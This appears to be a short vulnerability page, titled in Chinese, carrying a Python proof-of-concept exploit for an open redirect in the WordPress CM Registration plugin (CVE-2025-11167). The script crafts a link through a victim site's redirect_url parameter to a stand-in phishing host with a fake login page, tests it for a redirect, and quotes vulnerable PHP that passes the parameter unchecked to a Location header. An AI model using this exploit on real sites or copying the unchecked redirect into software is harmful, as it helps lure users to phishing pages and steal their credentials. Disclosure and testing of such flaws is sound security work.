CVE-2025-11167 WordPress CM Registration插件开放重定向漏洞

# CVE-2025-11167 - CM Registration Open Redirect PoC # Vulnerability: Insufficient validation of 'redirect_url' parameter import requests TARGET_URL = "https://victim-wordpress-site.com" MALICIOUS_URL = "https://attacker-controlled-phishing-site.com/fake-login" # Craft the malicious redirect URL # The plugin fails to validate the redirect_url parameter, # allowing redirection to arbitrary external domains payload = f"{TARGET_URL}/?redirect_url={MALICIOUS_URL}" print(f"[*] Malicious URL crafted: {payload}") print(f"[*] When victim clicks this link and completes login action,") print(f"[*] they will be redirected to: {MALICIOUS_URL}") # Example of how the vulnerable parameter is used: # In LoginController.php, the redirect_url parameter is processed # without proper validation: # $redirect_url = $_GET['redirect_url']; # header("Location: " . $redirect_url); // No validation! # Alternative PoC using direct HTTP request to verify redirect: response = requests.get(payload, allow_redirects=False) print(f"\n[*] HTTP Status: {response.status_code}") print(f"[*] Location Header: {response.headers.get('Location', 'N/A')}") if MALICIOUS_URL in response.headers.get('Location', ''): print("[+] Vulnerability confirmed! Open Redirect detected.")